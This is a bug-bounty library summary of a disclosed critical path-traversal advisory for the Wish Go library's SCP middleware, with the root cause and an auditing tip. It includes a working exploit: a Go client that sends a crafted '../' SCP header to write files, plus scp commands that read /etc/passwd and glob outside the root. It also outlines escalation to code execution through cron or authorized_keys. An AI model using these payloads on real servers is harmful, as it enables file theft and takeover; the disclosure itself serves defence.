# Wish has SCP Path Traversal that allows arbitrary file read/write

Wish's SCP middleware fails to confine paths to the configured root, letting a malicious SCP client read/write arbitrary files via ../ filenames.

- Payout: Research
- Severity: critical
- Program: Wish
- Found by: evnsh
- Disclosed: 2026-04-18
- CVE: CVE-2026-41589
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-xjvp-7243-rg9h
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-xjvp-7243-rg9h
- Tags: area:oss domain:oss impact:data-leak impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:path-traversal

**Target:** SCP middleware over SSH (Go library charm.land/wish/v2)
**Root cause:** prefixed() runs filepath.Clean then filepath.Join(root, path) without verifying the result stays inside root, so ../ components escape the root directory.
**Steps:**
1. Identify server using scp.NewFileSystemHandler with scp.Middleware (e.g. official examples/scp).
2. Read: `scp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwd` — prefixed() resolves to /etc/passwd.
3. Write: open SSH session, run `scp -t .`, send crafted header `C0644 12 ../../../tmp/pwned\n` followed by file data and NULL terminator.
4. Glob: `scp -P 2222 attacker@target:'../../../etc/pass*' ./` to enumerate files outside root.
5. Directory creation via `D0755 0 ../evil_dir` header in scp -t stream.
**How found:** Code review of scp/filesystem.go prefixed(): noticed filepath.Clean does not reject ../ and filepath.Join(root, path) can escape root; confirmed via integration tests against a real SSH server.
**Exploitation:** Attacker connects over SSH (default wish config accepts all connections), runs scp -t or scp -f, and injects ../ sequences in filenames or requested paths. Write traversal to cron/authorized_keys yields RCE; read traversal exfiltrates /etc/shadow, keys, credentials.
**Escalation:** Arbitrary write to cron jobs, authorized_keys, shell profiles or systemd units escalates file write to remote code execution.
**Insight:** When auditing path-confinement helpers, check whether Clean is followed by a containment check on the joined result — Clean alone never rejects traversal, and Join(root, cleaned) silently escapes when the cleaned path is absolute-ish or starts with ../.

## Proof of concept (copied exactly from the original report)

**Go client sending crafted SCP write payload**

```
package main

import (
	"fmt"
	"os"

	gossh "golang.org/x/crypto/ssh"
)

func main() {
	config := &gossh.ClientConfig{
		User:            "attacker",
		Auth:            []gossh.AuthMethod{gossh.Password("anything")},
		HostKeyCallback: gossh.InsecureIgnoreHostKey(),
	}
	client, _ := gossh.Dial("tcp", "target:2222", config)
	session, _ := client.NewSession()

	// Pipe crafted SCP protocol data into stdin
	stdin, _ := session.StdinPipe()
	go func() {
		// Wait for server's NULL ack, then send traversal payload
		buf := make([]byte, 1)
		session.Stdout.(interface{ Read([]byte) (int, error) }) // read ack

		// File header with traversal: writes to /tmp/pwned (escaping /srv/data)
		fmt.Fprintf(stdin, "C0644 12 ../../../tmp/pwned\n")
		// Wait for ack
		stdin.Write([]byte("hello world\n"))
		stdin.Write([]byte{0}) // NULL terminator
		stdin.Close()
	}()

	// Tell the server we're uploading to "."
	session.Run("scp -t .")
}
```

**scp read traversal command**

```
# Read /etc/passwd from a server whose SCP root is /srv/data
scp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwd

The server resolves `../../../etc/passwd` through `prefixed()`:
1. `filepath.Clean("../../../etc/passwd")` → `"../../../etc/passwd"`
2. Not prefixed with `/srv/data`, so: `filepath.Join("/srv/data", "../../../etc/passwd")` → `"/etc/passwd"`
3. File contents of `/etc/passwd` are sent to the attacker.
```

**scp glob traversal command**

```
scp -P 2222 attacker@target:'../../../etc/pass*' ./
```

